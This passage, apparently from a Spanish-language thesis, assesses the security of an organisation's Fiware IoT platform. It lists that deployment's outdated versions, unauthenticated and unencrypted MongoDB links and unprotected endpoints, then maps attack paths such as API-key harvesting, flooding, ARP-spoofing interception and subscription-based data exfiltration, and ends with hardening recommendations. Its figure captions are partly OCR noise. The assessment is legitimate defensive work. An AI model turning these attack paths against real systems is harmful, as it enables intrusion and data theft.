04:22:25.582586 IP orion.49938 > db-mongo.fiware_default.27017: Flags [.], ack 12769, win 3420, options [nop,nop,TS val 4041744541 ecr 3157816621], length ©
E..4}H@.Q.<R. 000 g AV EF 0n 000

Figura 46 — Visualizacion de trafico en claro entre Orion y MongoDB

.b.
1.

attrName.

F‘an()ramastra .
coordinates.
.a....attrNam

:umtool - typ:
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http://localhost:1026/v2/entities
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5. Analisis exploratorio de seguridad de la
plataforma Fiware de la IM

Considerando el trabajo previo de investigacion realizado y las problematicas de seguridad
identificadas, resultd de interés poder tener un acercamiento con un despliegue de una
plataforma Fiware real.

La IM dispone actualmente de un despliegue de la plataforma Fiware en sus instalaciones. Es
en este sentido que se trabajoé en la elaboracién de una propuesta que resultara interesante
desde el punto de vista de seguridad para la IM y que a su vez estuviera dentro del alcance
determinado por la tesis.

El enfoque de trabajo estuvo marcado por medio de la elaboracion de una serie de preguntas
guia las cuales se listan en el Anexo 2. En base a las respuestas obtenidas se confecciond un
diagrama del escenario de analisis representativo de la plataforma de Cl de la IM, para
posteriormente realizar una evaluacion exploratoria de seguridad. Vale la pena destacar que es
un analisis preliminar dado que no se aborda un acercamiento a la plataforma para realizar
pruebas. El estudio profundiza en la identificacion de posibles vectores de ataque y finaliza con
la elaboracion de un conjunto de recomendaciones.

5.1. Escenario de analisis

En el diagrama de alto nivel de la Figura 47 se muestran los componentes principales que
constituyen la plataforma de Cl de la IM. Brevemente se enumeran los elementos mas
importantes unificando las respuestas recabadas durante el relevamiento.

5.1.1. Plataforma de microservicios

Se utilizan las imagenes docker de Fiware proporcionadas por medio de Docker Hub.

La imagen asociada al médulo Quantum Leap utilizado para el almacenamiento de informacion
histérica fue modificada on-premises de acuerdo a requerimientos de negocio.

5.1.2. Orion Context Broker

La versién del Orion utilizada es la 2.1.0 y esta desplegado en la plataforma como un cluster de

3 nodos. Cada nodo esta asociado a un cluster de 3 nodos de MongoDB dedicados. La version
de MongoDB utilizada es la 3.6.
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El motor MongoDB es utilizado unicamente para albergar las bases de datos correspondientes
a Orion.

5.1.3. loT Agents

En la “frontera sur” se cuenta con varios agentes de ingesta de medidas enviadas por
sensores, en los cuales se utilizan diferentes protocolos de datos y mecanismos de transporte

que varian de acuerdo al hardware y protocolos propietarios utilizados.

Los protocolos de datos utilizados son JSON y Ultralight. En cuanto al transporte se utiliza
HTTP y MQTT. La versioén de los agentes es la 1.16.0.

En el caso de los agentes HTTP, los dispositivos IoT se comunican de forma directa con el
agente cuando tienen una medida para reportar.

MQTT requiere la incorporacion de un modulo que funcione como broker ya que es un
protocolo de mensajeria basado en el patron publish / subscribe: los sensores publican sus
medidas, mientras que los agentes se suscriben a las mismas. El broker utilizado actualmente
es Eclipse Mosquitto.

En otro orden, existen implementaciones on-premises personalizadas de agentes loT utilizando
la libreria iotagent-node-lib proporcionada por Fiware en su versién 2.7.50.

En relacion al almacenamiento de datos, todos los agentes IoT utilizan un unico motor de base
de datos MongoDB compartido en su version 3.6.
5.1.4. Interaccion entre microservicios

En consideracion a las comunicaciones con las bases de datos, Orion y los agentes loT no
utilizan autenticacion contra MongoDB.

Las comunicaciones entre componentes de la plataforma no utilizan protocolos cifrados.

Por otra parte, los microservicios no utilizan Docker Secrets.

5.1.5. Control de acceso en “frontera sur”

Se han configurado reglas de firewall que establecen los flujos de comunicacién permitidos
desde los sensores loT desplegados.
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Los agentes loT se configuran con parametros apikey, los cuales deben utilizar todos los
dispositivos para poder comunicar sus medidas.

Tanto los sensores como los agentes loT por MQTT utilizan credenciales (usuario y contrasefia)
para reportar y obtener las medidas respectivamente. Por el contrario, por HTTP no hay
autenticacion.

Referente a control de acceso a los componentes Orion y loT Agent, actualmente no existen
puntos de cumplimiento de politicas de acceso (PEP).

Por ultimo, los endpoints de los microservicios de la frontera sur no se encuentran detras de
reverse proxies o API gateways. El término “reverse proxy’ refiere a un servidor de aplicaciones
0 componente que se situa en el medio de las comunicaciones entre clientes y servidores web
en una infraestructura de red, ofreciendo una capa de abstraccidon y unica de interfaz de
recepcion de solicitudes y redireccion de las mismas internamente a los servicios de atencion
correspondientes. Por otro lado, el término “API gateway” es un servicio de gestion de trafico
que funciona de forma similar a un reverse proxy permitiendo aplicar politicas de autenticacion,
control de acceso, uso de recursos, entre otros, a APlIs, utilizado usualmente en entornos de
microservicios.

Quantum Lea E a
&= . ?SL;-H) £ e Orion Context [ qemm—
Broker

—’
MongoDB

((({)

CrateDB

(version 2.1.0)

o A~

Ry
loT Backend Device Management

loT Agent-1 loT Agent-2 loT Agent-3 loT Agent-4 ol loT Agent-N <::>
Agent-N-1
MongoDB

(version 3.6)

(0

Ultralight 2.0 JSON JSON Ultralight 2.0 JSON JSON

HTTP HTTP HTTP MQTT MQTT MaTT
(version 1.16.0) (version 1.16.0) Custom con libreria  (version 1.16.0) (version 1.16.0)  Custom con libreria
iotagent-node-lib iotagent-node-lib

ﬁ ﬁ (version 2.7.50) H® H @ (version 2.7.50)
il S = Mosquitto Mosquitto Mosquitto
Limvrri MQTT broker MQTT broker MQTT broker

18 18 f®

- - - - =]

Figura 47 — Escenario de analisis plataforma Cl de IM
(elaboracién propia)
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5.2. Evaluacion preliminar de seguridad

Tomando como insumo el estudio de problematicas de seguridad presentado en la seccion 4.1
en conjunto con la experimentacion realizada en el escenario de estudio vista en el apartado
4.3 y la informacion obtenida por medio del relevamiento de datos con la IM (punto 5.1), se
procedio a realizar un analisis exploratorio de seguridad. Los resultados obtenidos se detallan a
continuacion.

5.2.1. Orion 2.1.0 no soporta comunicaciones TLS con MongoDB

La versién de Orion 2.1.0 tiene su fecha de lanzamiento en diciembre de 2018. Esta version no
soporta comunicaciones cifradas TLS con MongoDB como se observo en la seccion 4.1.9 al
identificar las problematicas de seguridad.

2.1.0
c{g fgalan released thigjDec 19, 2018 - 1997 commits to master since this release Q) 2.1.0 - 6574bb5

Full documentation at: http:/fiware-orion.readthedocs.io/en/2.1.0/

NGSIv2 API reference (v2.0): http:/ftelefonicaid.github.ioffiware-orion/apifv2/stable

Note that Rush support has been deprecated in this release. You are strongly discouraged of using it.
Changelog (since 2.0.0):

« Add: Oneshot Subscription (#¥3189)

Figura 48 — Detalle de release de la version 2.1.0 de Orion*®

5.2.2. Orion no soporta verificacion de certificados TLS con MongoDB
Como se observé en la seccion 4.1.10, actualmente no existe soporte por parte de Orion a la

verificacion de certificados del lado cliente en el uso del driver de MongoDB.

5.2.3. Libreria iotagent-node-lib 2.7.50 no soporta autenticacion ni
comunicacion TLS con MongoDB

La fecha de lanzamiento de la version 2.7.50 de la libreria iotagent-node-lib es abril de 2019.
Tal como se detallé en las secciones 4.1.7 y 4.1.8, las capacidades de autenticacién y cifrado

% https://github.com/telefonicaid/fiware-orion/releases/tag/2.1.0
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de las comunicaciones con MongoDB fueron adicionadas en las versiones 2.12.0 y 2.13.0
respectivamente.

2.7.50
fﬁ fgalan released thi§ Apr 26, 2019 1504 commits to master since this release  § 2.7.50

An intermediate version between 2.7.0 and 2.8.1, corresponding to an snapshot of the ¢

Figura 49 — Detalle de versién 2.7.50 libreria iotagent-node-lib %

5.2.4. Versiones Orion > 2.1.0 y iotagent-node-lib > 2.7.50 corrigen varios
fallos de seguridad, hardening de librerias y mejoras a nivel de légica de
negocio

Referente a Orion se hizo un relevamiento de las versiones posteriores a 2.1.0 observando
correcciones y mejoras de seguridad. En el Anexo 7 se enumeran las principales a la fecha en
orden cronoldégico.

En cuanto a la libreria iotagent-node-lib, como resultado del relevamiento también se observo
varias correcciones y mejoras realizadas luego de la version 2.7.50. En el Anexo 8 se
enumeran las principales a la fecha en orden cronolégico.

5.2.5. Las comunicaciones con MongoDB no son autenticadas

Se destaca lo observado en la seccion 4.1.2 en consideracion a posibles implicancias si no se
utilizan comunicaciones autenticadas con MongoDB.

5.2.6. Los loT Agents comparten el mismo motor de base de datos
MongoDB

En base a lo visto en la seccion 5.1.3, todos los agentes |oT manejan protocolos de datos
Ultralight o JSON vy utilizan un motor de base de datos compartido que alberga las bases de
datos de todos ellos.

Como se puede observar en la documentacioén, si no se indica un nombre especifico para la
base de datos, el agente loT automaticamente crea una con un nombre por defecto. En el caso
de Ultralight es “iotagentul” y para JSON es “iotagentjson”.

% https://github.com/telefonicaid/iotagent-node-lib/releases/tag/2.7.50
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& github.com/telefonica

= README.md

WIIT Wl L0 INCrease s vailue 1o Malch e avananie KA 011 INg Sysier|

Note: The --ulimit flags only work on Docker 1.6 or later. Nevertheless, you have to “request” more resources (i.e. multiple cores), which
might be more difficult for orchestrates (Docker Engine or Kubernetes) to schedule than a few different containers requesting one core (or
less...) each (which it can, in turn, schedule on multiple nodes, and not necessarily look for one node with enough available cores).

If you want to get more details about the configuration of the system and node.js for high performance scenarios, please refer to the Installation
Guide.

Set-up appropriate Database Indexes

If using Mongo-DB as a data persistence mechanism (i.e. if T0TA_REGISTRY TYPE=mongodb ) the device and service group details are retrieved
from a database.The default name of the loT Agent database is iotagentul | Database access can be optimized by creating appropriate

indices.
306
307 * Name of the Mongo database that will be created to store IoT Agent data.
308
- 309 db: 'iotagentul®’
310

Figura 50 — Detalle de nombre por defecto de base de datos de loT Agent Ultralight 7 %

@ github.com/tele

i= README.md

INOIE: 1TEe —=UIIMIL Iags Orily WOTK 01 LOCKET 1.6 Or later

Nevertheless, you have to "request” more resources to Kubernetes (i.e. multiple cores), which might be more difficult for Kubernetes to
schedule than a few different containers requesting one core (or less...) each (which it can, in turn, schedule on multiple nedes, and not
necessarily look for one node with enough available cores).

If you want to get more details about the configuration of the system and node.js for high performance scenarios, please refer to the Installation
Guide.

Set-up appropriate Database Indexes

If using Mongo-DB as a data persistence mechanism (i.e. if 10TA_REGISTRY TYPE=mongodb ) the device and service group details are retrieved
from a databaseJThe default name of the loT Agent database is iotagentjson|. Database access can be optimized by creating appropriate

indices.

* Name of the Mongo database that will be created to store IoT Agent data.

db: 'iotagentjson'

I

Figura 51 — Detalle de nombre por defecto de base de datos de loT Agent JSON 3° 4

Combinando los siguientes tres puntos podria permitir que un agente loT personalizado o un
usuario anonimo con acceso al motor de MongoDB dentro de la plataforma, pueda leer o
modificar la configuracién de parametros (apikey, URL Orion, etc) relativa a una base de datos
arbitraria de cualquier 0T Agent:

El motor de base de datos es el mismo para todos los agentes IoT.

Los agentes no se autentican con MongoDB (ver seccion 5.2.5).

El nombre de las bases de datos sigue una nomenclatura por defecto si no se indica
explicitamente el nombre a utilizar.

57 https://github.com/telefonicaid/iotagent-ul/tree/master/docker#set-up-appropriate-database-indexes

38 https://github.com/telefonicaid/iotagent-ul/blob/28b887bcafbad96022eff7ff4f4e9526c50595d8/config.js#L.309
% https://github.com/telefonicaid/iotagent-json/tree/master/docker#set-up-appropriate-database-indexes

40 https://github.com/telefonicaid/iotagent-json/blob/master/config.js#L.269
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5.2.7. Las comunicaciones entre microservicios de la plataforma no estan
cifradas

Se destaca lo observado en la seccion 4.1.1 en relacion a posibles implicancias si no se utilizan
comunicaciones cifradas.

5.2.8. No hay implementados mecanismos de control de acceso a los
microservicios

Por defecto, los componentes Orion y loT Agent no proporcionan mecanismos nativos de
control de acceso tal como se comento en la seccion 4.1.3.

Asimismo, en 5.1.5 se especifica que la interaccion entre microservicios es directa sin mediar
politicas de acceso. Lo mismo ocurre en cuanto a los agentes loT por transporte HTTP: los
sensores configurados por esta via envian sus medidas de forma inmediata sin intervenir
protocolos de autenticacion y permisos. Esto habilita la posibilidad de realizar alteraciones
anonimas de informacion de contexto y configuraciones, si se conocen los endpoints de
atencién de los componentes.

5.2.9. No se utilizan Docker Secrets en la plataforma

Tomando como referencia lo visto en la seccién 4.1.11, Orion actualmente no tiene soporte al
uso de Docker Secrets y los loT Agents han anadido soporte progresivo en las ultimas
versiones.

Asimismo, en base al relevamiento en 5.1.3 y 5.1.4, los agentes loT desplegados en la
plataforma de la IM manejan protocolos JSON y Ultralight. La version de las imagenes oficiales
de Fiware utilizada en cada caso es la 1.16.0, la cual brinda soporte a algunas variables de
entorno de caracter sensible protegidas por medio de Docker Secrets. Actualmente dichas
capacidades no son utilizadas.

5.2.10. Agentes loT registran medidas de sensores no registrados

Por defecto los componentes loT Agent reciben todas las medidas de sensores, incluso de
aquellos que no se reconocen como "sensores registrados". Se destaca lo observado en la
seccion 4.1.5 en relacién a posibles implicancias.
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5.2.11. Endpoints de acceso expuestos hacia dispositivos loT sin
proteccién

Relativo a 5.1.5, no existen componentes de red que permitan implementar politicas de
proteccion a las APls expuestas hacia los dispositivos 0T, es decir los puntos de acceso o
“puertos sur” disponibilizados por los loT Agents.
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5.3. ldentificacion de vectores de ataque

Un vector de ataque representa una via o método por el cual un atacante puede lograr
efectivizar un determinado objetivo de ataque.

En base a las vulnerabilidades detectadas en la seccidén 5.2, se procede a determinar posibles
tipos de ataques que se podrian implementar en la plataforma de Cl de la IM.

En el caso estudiado en 5.1, objetivos de ataque que son de especial interés:

Indisponibilizar funcionamiento de componentes.

Filtrar datos de contexto.

Modificar datos de contexto de forma no autorizada.

Filtrar datos de parametros de configuracion.

Modificar parametros de configuracion de forma no autorizada.

En este sentido, se describen en detalle diferentes vectores de ataque organizados en las
siguientes categorias:

5.3.1. Provocar denegacion de servicio de componentes /oT Agent y
MongoDB

Se detallan dos rutas viables para indisponibilizar su funcionamiento.

5.3.1.1. Envio masivo de lecturas desde sensores ‘“desconocidos” o no
registrados

En las secciones 4.1.5 y 5.2.10 se vio que las medidas enviadas por sensores desconocidos
son tomadas en cuenta y registradas por el agente IoT. Asimismo, por 5.2.11 sabemos que no
se dispone de protecciones en los endpoints expuestos en la frontera sur.

Como vimos, para que un envio de medidas sea exitoso, se requiere conocer el endpoint de
atencion y un apikey valido. Al menos existen tres formas que podrian utilizarse para obtener
dicha informacion:

1. Analizar captura de trafico entre el dispositivo 10T y el agente. Si el trafico esta cifrado
se podria intentar quebrar el canal TLS o ver si es posible implementar un ataque MiTM.
En caso de que el trafico ya vaya en texto claro alcanzaria con estudiar la captura y
obtener el valor de una apikey.
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2. Acceso al puerto norte del IoT Agent de forma andnima (ver seccion 5.3.4.1), ya sea
dentro de la infraestructura o si el puerto norte esta expuesto hacia el dispositivos IoT.
Luego, consultar los grupos de dispositivos dados de alta a través de la API REST en el
endpoint.

“http://<iot-agent-host>:<iot-agent-north-port>/iot/services”.

3. Acceso fisico al dispositivo loT.

Por ende, un numero alto de solicitudes de dispositivos desconocidos podria provocar
denegacion de servicio, fallas de funcionamiento o agotamiento de recursos en la base de
datos.

5.3.1.2. Ataques SYN Flooding

Otro tipo de ataque que podria llevarse a cabo es a través del envio masivo de paquetes SYN
en el handshake TCP con los agentes loT.

Esta técnica tiene caracter general y no es especifica a Fiware ya que implica consumir todos
los recursos disponibles del lado de los servidores de atencién a solicitudes externas abriendo
multiples conexiones en espera sin cerrar.

5.3.2. Alterar datos de contexto de forma andénima

5.3.2.1. Actualizaciones anénimas de atributos de entidades a través de APl NGSI
de Orion

Relativo a lo visto en la seccion 5.2.8, no existen puntos de aseguramiento de politicas de
control de acceso dentro de la infraestructura. Por tanto, si una aplicacion o administrador
interno puede acceder al endpoint “http://<orion-host>:<orion-port>/v2/entities”,
seria capaz de efectuar alteraciones andénimas de contexto de las entidades.

5.3.2.2. Actualizaciones anonimas de datos de sensado a través de APl REST de
loT Agents por transporte HTTP

De igual manera a lo comentado en 5.3.2.1 pero en el caso particular de los agentes [oT por
transporte HTTP vy lo visto en 5.3.1.1 acerca de posibles formas de obtenciéon de una apikey
valida, si una entidad ya sea interna o externa puede acceder al endpoint del 10T Agent en el
puerto sur en “http://<iot-agent-host>:<iot-agent-south-port>/iot/d" seria capaz de
efectuar reportes anénimos de medidas de sensado de los dispositivos loT.
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5.3.2.3. Acceso anénimo a base de datos MongoDB relativa a Orion y
actualizacién de datos de contexto

Como se observo en las secciones 4.1. 5.2.5, asi como también se pudo corroborar en la

experimentacion en el caso de estudio en 4.3.1.4, el acceso a la base de datos relativa a Orion
es sin autenticacion.

Por defecto*', los puertos de escucha de MongoDB son 27017, 27018 y 27019 dependiendo de
la configuracién utilizada. Si una aplicacion o administrador interno puede acceder al endpoint
de escucha, seria capaz de impactar cambios anénimos en datos de contexto.

5.3.2.4. Modificaciones de datos de contexto en transito Orion <-> MongoDB,
Orion <-> loT Agent, mediante ataques MiTM

De acuerdo a lo indicado en las seccién 5.2.7, no se utilizan comunicaciones cifradas entre
componentes de la plataforma. Por otro lado en 5.2.1 se observé que la version de Orion
utilizada no soporta comunicaciones TLS con MongoDB. En términos mas generales, en 5.2.2
se indicd la imposibilidad actual por parte de cualquier versiéon de Orion a verificar el path
certificate de MongoDB.

En base a lo anterior es posible implementar ataques MiTM de forma de visualizar y modificar
en transito las comunicaciones entre Orion y MongoDB y Orion y agente loT.

Una técnica muy conocida es ARP Spoofing mediante la cual todo el trafico entre dos nodos se
enruta hacia el nodo del atacante mediante cambios en las tablas ARP de los nodos
intervinientes.

Otra técnica similar fue vista en la experimentacion en 4.3.2 utilizando la caracteristica network
containers de Docker.

5.3.3. Filtrar datos de contexto de forma andnima

5.3.3.1. Creacion anénima de suscripciones a cambios de contexto en Orion,
especificando URL arbitraria de notificaciéon

En la seccién 4.1.6 se aprecié la posibilidad de filtrar datos de contexto mediante la
funcionalidad de creacion o actualizaciéon de una suscripcion en Orion.

Combinando este aspecto con el punto 5.2.8 relativo a la ausencia de politicas de control de
acceso a los componentes dentro de la infraestructura, facilita a una aplicacion o administrador
interno con acceso al endpoint “http://<orion-host>:<orion-port>/v2/subscriptions®
tanto la visualizacion, creacién y modificacion de suscripciones.

4! https://docs.mongodb.com/manual/reference/default-mongodb-port/
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5.3.3.2. Acceso andonimo a atributos de entidades a través de APl NGSI de Orion
De forma analoga al punto 5.3.2.1 pero relativo a la visualizacion de datos de contexto de forma
anonima.

5.3.3.3. Acceso anénimo a base de datos MongoDB relativa a Orion y obtencién
de datos de contexto

De forma anéloga al punto 5.3.2.3 pero referente a la visualizacién de informacion de contexto
accediendo de forma andénima a la base de datos MongoDB.

5.3.3.4. Escucha de comunicaciones, captura y analisis de trafico entre Orion <->

MongoDB o Orion <-> loTAgents, mediante ataques MiTM

De forma analoga al punto 5.3.2.4 pero referente a la escucha pasiva de comunicaciones.

En el apartado de experimentacion 4.3.1.4 se vio una forma en la que es posible obtener datos
de contexto en transito entre Orion y MongoDB.

5.3.4. Filtrar parametros de configuraciéon de loT Agents de forma andnima

5.3.4.1. Acceso an6énimo a parametros de configuracion a través de APl REST
“puerto norte” de loT Agents

En consideracion a lo comentado en 5.2.8, no existen mecanismos de control de acceso
implementados entre componentes dentro de la plataforma.

Por tanto, si una aplicacion o administrador interno puede acceder al puerto norte del /loT Agent
y realizar consultas al siguiente endpoint
‘http://<iot-agent-host>:<iot-agent-north-port>/iot/services”, seria capaz de
obtener pardametros de configuracion de los grupos de dispositivos 0T registrados como ser
device apikeys, URL de Orion, paths, nombres de los dispositivos registrados, entre otros.
Dichos datos serian de utilidad para un atacante a fin de poder simular medidas desde
sensores validos o sensores inexistentes como se analiza en 4.1.5 o provocar algun tipo de
indisponibilidad (ver 5.3.1.1).
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5.3.4.2. Acceso anénimo a base de datos MongoDB relativa a loT Agent y
obtenciéon de parametros de configuracion

De forma analoga a 5.3.2.3 pero para el caso especifico de los loT Agent, el acceso a la base
de datos MongoDB por parte de cada agente es sin autenticacién (ver 5.2.5).

Si una aplicacion o administrador interno puede acceder al puerto de escucha de MongoDB
dentro de la plataforma, seria capaz de consultar de forma anénima parametros de
configuracion de los agentes.

Otro caso interesante se puede dar con los loT Agents personalizados. Combinando el punto
5.2.5 y que todos los agentes comparten el mismo motor de base de datos (ver 5.2.6), nada
impediria que el agente personalizado acceda a la base de datos de otro loT Agent.

5.3.4.3. Escucha de comunicaciones, captura y analisis de trafico entre loT Agent
<-> MongoDB, mediante ataques MiTM

De acuerdo a lo indicado en las seccion 5.2.7, no se utilizan comunicaciones cifradas entre
componentes de la plataforma.

De forma similar a lo indicado en 5.3.2.4 pero especificamente para loT Agent, es posible
disefiar un escenario de ataque MiTM de forma de filtrar parametros de configuracion en las
comunicaciones entre el agente y la base de datos.

5.3.5. Alterar parametros de configuracion de loT Agents de forma
anonima

5.3.5.1. Actualizaciones anénimas de parametros de configuraciéon a través de
API REST “puerto norte” de loT Agents

De manera semejante a 5.3.4.1 pero respecto a la alteracién andénima de parametros de
configuracion de cada agente.
5.3.5.2. Acceso anénimo a base de datos MongoDB relativa a loT Agent y

modificacion de parametros de configuracion

De forma analoga a 5.3.4.2, pero en relacion a la alteracion de parametros de configuracion de
cada agente.
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5.3.5.3. Modificaciones de parametros de configuracion en transito loT Agent <->
MongoDB mediante ataques MiTM

De manera analoga a 5.3.4.3, pero relativo a la alteracion de parametros de configuracion de
cada agente.

5.4. Recomendaciones

Luego de haber realizado el analisis exploratorio de seguridad e identificado vectores de ataque
posibles en la plataforma de Cl de la IM, se procedié a elaborar en una primera instancia un
conjunto de recomendaciones y sugerencias en términos de los componentes y sus
interacciones, y por otra parte propuestas de arquitecturas de control de acceso utilizando
componentes de seguridad de Fiware.

5.4.1. Recomendaciones claves

Actualizar Orion

Actualizar a una versién mayor igual a 2.3.0 con soporte TLS con MongoDB.

Si es posible actualizar a la ultima a la fecha (3.6.0*%) que incluye varias correcciones,
actualizacion de librerias y hardening acumulativos.

Monitorear Orion y MongoDB

Monitorear las comunicaciones entrantes a MongoDB a fin de identificar comportamientos
anomalos, por ejemplo a través del andlisis de los mensajes de log*.

Monitorear los logs generados por Orion*.

Estas acciones permitirian estar alerta ante eventuales ataques MiTM entre Orion y MongoDB
de acuerdo a la vulnerabilidad 5.2.2.

Actualizar libreria iotagent-node-lib

Actualizar a una version mayor o igual a 2.13.0 donde existe soporte para autenticacién y
comunicaciones TLS con MongoDB

2 https://github.com/telefonicaid/fiware-orion/releases/tag/3.6.0
4 https://docs.mongodb.com/manual/reference/log-messages/
4 https://fiware-orion.readthedocs.io/en/master/admin/logs/index.html#log-examples-for-http-notification-transactions
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Si es posible actualizar a la ultima version a la fecha (2.21.0%°) que incluye varias correcciones
de seguridad y hardening acumulativos.

Habilitar autenticacion con MongoDB

Habilitar autenticacion en las comunicaciones:
e Orion «+— — MongoDB
e JoT Agents — — MongoDB

De acuerdo al principio de minimo privilegio, se recomienda establecer minimos privilegios
requeridos y necesarios en los usuarios creados (a nivel de bases de datos, tablas y
configuraciones).

Habilitar comunicaciones cifradas

Se recomienda habilitar comunicaciones TLS entre:
e Orion «—— loT Agents
e Orion «—— MongoDB
e JoT Agents «— — MongoDB

Se puede configurar mediante las siguientes variables de entorno.

Para el caso loT Agents (Fiware iotagent-nodelib, 2022, capitulo Configuration using
environmental variables), se pueden utilizar

e Por transporte HTTP:
o IOTA_HTTP_KEY
o IOTA_HTTP_CERT
e Por transporte MQTT:
o IOTA_MQTT_CA
o IOTA_MQTT_KEY

Para el caso de Orion*:
e ORION_HTTPS
e ORION_HTTPS KEY
e ORION_HTTPS_CERT

Vale la pena destacar que no fue sencillo encontrar en la documentacion oficial cémo realizar
las configuraciones; fue necesario indagar en el cédigo fuente de cada componente y
preguntas relacionadas en StackOverflow.

4 https://github.com/telefonicaid/iotagent-node-lib/releases/tag/2.21.0
46

https://github.com/telefonicaid/fiware-orion/blob/0dc77185b8f98274840abc28364e2bd071c1d7ed/test/acceptance/be
have/README.md#propertiesjsonbase
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Uso de Docker Secrets
Se recomienda utilizar esta caracteristica en los loT Agents de forma de proteger datos
sensibles en transito. Para que esto sea posible es necesario actualizar las versiones actuales
de los agentes:
e Actualizar IoT Agent Ultralight a una version mayor o igual a 1.17.0 con soporte a un
gran numero de variables de entorno protegidas.
e Actualizar IoT Agent JSON a una version mayor o igual a 1.18.0 con soporte a un gran
numero de variables de entorno protegidas.
En el caso de Orion y dado que no existe soporte para Docker Secrets actualmente, se
recomienda asegurar que los datos sensibles de configuracién (variables de entorno) son
protegidos adecuadamente, evitando su almacenamiento en repositorios de cdodigo o
ubicaciones accesibles por actores no autorizados.

Proteger APIs a dispositivos loT

Se recomienda proteger las APls expuestas hacia los dispositivos |oT por medio de reverse
proxies o API| gateways.

Esto brinda varios beneficios, por ejemplo:

e Establecer un unico punto de entrada, actuando como “gateway”’ hacia los servicios
internos de atencion (orquestador).

e Exponer solo las APIs que los dispositivos loT utilizan.

e Establecer rate-limits de forma de controlar el maximo nimero de solicitudes permitidas
en un intervalo dado de tiempo, brindando proteccion ante ataques de denegacion de
servicio.

e Balancear la carga de las solicitudes recibidas.

e Establecer mecanismos de autenticacion y autorizacion.

e Anadlisis y supervisién (logs, comportamientos anémalos, etc).

e Monitorear su uso (métricas).
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5.4.2. Propuesta de arquitecturas de control de acceso

Seguidamente, se trabajé en la confeccion de algunas alternativas de control de acceso de
acuerdo al escenario de analisis (seccion 5.1) y siguiendo algunas alternativas comentadas en

el tutorial (Fiware Tutorial IoT Agent, 2022).

5.4.2.1. Asegurar el acceso a Orion Context Broker desde aplicaciones

En la Figura 52 se muestra que un componente proxy es puesto delante de Orion y es el cual
determina si permite o0 deniega las solicitudes HTTP recibidas desde aplicaciones externas o
internas (por ejemplo, desde linea de comandos usando la herramienta curl o Postman |/ Burp,

aplicaciones desarrolladas internamente, entre otras).
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Figura 52 — Arquitectura asegurando el acceso a Orion Context Broker desde aplicaciones
(elaboracion propia)
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Se observa que se adiciona un componente PEP Proxy, cuya implementacién referencial en
Fiware es Wilma (ver 3.1.3.2). El mismo exige que todas las solicitudes tengan un foken de
acceso valido obtenido mediante el IdM, que en este caso es la implementacion referencial
Keyrock. Si se han configurado los componentes para aceptar roles y permisos, el PEP Proxy

deriva a Keyrock PDP la decisién de acceso.

En este escenario el nivel maximo que puede ser alcanzable es el 2. Si se desea llegar al nivel

3 seria necesario incorporar un nuevo elemento como se indica en 3.1.3.2.

5.4.2.2. Asegurar el acceso al puerto sur del [oT Agent

En la Figura 53 se muestra que un componente proxy es puesto para asegurar el puerto sur del
componente loT Agent, y es el cual determina si permite o deniega las solicitudes HTTP

recibidas desde los sensores hacia el IoT Agent (comunicacién “northbound”).

(versién 1.16.0)

PEP Proxy

para loT Agent Comunicacion

“northbound”

Quantum Leap |§ I é |
CrateDB i

(version 2.1.0) MongoDB
ﬂ nGsl (version 3.6)
15

%
loT Backend Device
Management MongoDB
(version 3.6)
r

Ultralight 2.0

HTTP

Figura 563 — Arquitectura asegurando el acceso al puerto sur del IoT Agent
(elaboracién propia)

Al igual que en el caso anterior, se visualiza la presencia del IdM y PEP Proxy. Siguiendo las
practicas indicadas en la documentacion oficial, las cuentas de sensores creadas en el [dM solo
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intervienen en el proceso de autenticacion pero no autorizacion; por tanto no es posible
establecer un nivel de acceso mayor a 1 (ver restricciones al modelo de acceso en 3.1.3.3 y
problematica 4.1.12).

Desde otra perspectiva, seria posible adicionar el nivel 2 a la arquitectura anterior (Salhofer et
al., 2019, pp.3-5), si se crean cuentas normales de usuario para los sensores. Es necesario
establecer una separacion légica entre cuentas de usuarios comunes y cuentas de usuarios
sensores, por ejemplo utilizando cierta nomenclatura en el registro de nombres.

En tal caso, el nivel maximo que puede ser alcanzable es el 2. No obstante, si se desea llegar
al nivel 3 seria necesario incorporar un nuevo elemento como se indica en 3.1.3.2.

5.4.2.3. Asegurar el acceso a Orion Context Broker desde loT Agent

En la Figura 54 se muestra que un componente proxy es puesto para asegurar la comunicacion
desde el puerto norte del componente loT Agent hacia Orion (comunicacién “northbound”).

Quantum Lea :
% &= (STH) P Orion Context [ am— E %a
Broker

CrateDB

(version 2.1.0) MongoDB
t nGsl (version 3.6)

Wilma

> PEP Proxy
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I nGsi “northbound”

S :

loT Backend Device MongoDB
MySQaL Management

(version 3.6)

Ultralight 2.0
HTTP
(version 1.16.0)

g

24
Sl

T

Figura 54 — Arquitectura asegurando el acceso a Orion Context Broker desde loT Agent
(elaboracién propia)

Al igual que en el caso anterior, se visualiza la presencia del IdM y PEP Proxy.
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En términos de configuracion:

e Se sugiere crear una cuenta de usuario especifica por loT Agent.

e Requiere generar tokens de acceso permanentes a partir de las cuentas anteriores.

e Al momento de aprovisionar un grupo de sensores se debe especificar un campo
adicional “trust”. Cuando el agente recibe una nueva medida por parte de un sensor,
realiza el envio de dicha medida de forma autorizada hacia Orion especificando el foken
configurado al PEP Proxy.

El nivel maximo que puede ser alcanzable es el 2; si se desea llegar al nivel 3 seria necesario
incorporar un nuevo elemento como se indica en 3.1.3.2.
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6. Conclusiones y trabajo futuro

El trabajo de investigacion abordé un analisis de seguridad de la plataforma Fiware siguiendo
una metodologia de estudio que se fue adaptando en el proceso, y que estuvo marcada por
factores como: el conocimiento gradual adquirido del funcionamiento de los componentes de
Fiware, pruebas de concepto experimentales, el modelado de amenazas siguiendo el enfoque
STRIDE en un escenario tipo, y la delimitacién de la evaluacién de seguridad a los
componentes centrales Orion y loT Agent desde la perspectiva de un atacante y con vistas a
lograr identificar problematicas de caracter arquitectonicas y de despliegue. Todos estos
insumos fueron esenciales para el analisis preliminar de seguridad con la plataforma de CI de
la IM.

Se buscé dar respuesta a las interrogantes planteadas al comienzo de la tesis, intentando
cumplir los objetivos planteados. Es asi que que se presentan los principales hallazgos:

1. Fiware brinda lineamientos referenciales de posibles arquitecturas utilizando sus
componentes. No obstante, no exige la adhesién a estructuras fijas de despliegue, salvo
la incorporacion de Orion para que una plataforma sea considerada Powered-By-Fiware.

2. Los tutoriales proporcionados por Fiware modelan un escenario ficticio de plataforma y
sirven de experimentacion para el aprendizaje de los conceptos necesarios. En la propia
documentacion se indica que no estan preparados para produccion y presentan ciertas
fallas de seguridad como lo son credenciales en texto claro, comunicaciones no
cifradas, ausencia de autenticacion con la base de datos, etc, y recomienda que por
tanto los ejemplos no deben utilizarse directamente en un despliegue productivo®’.

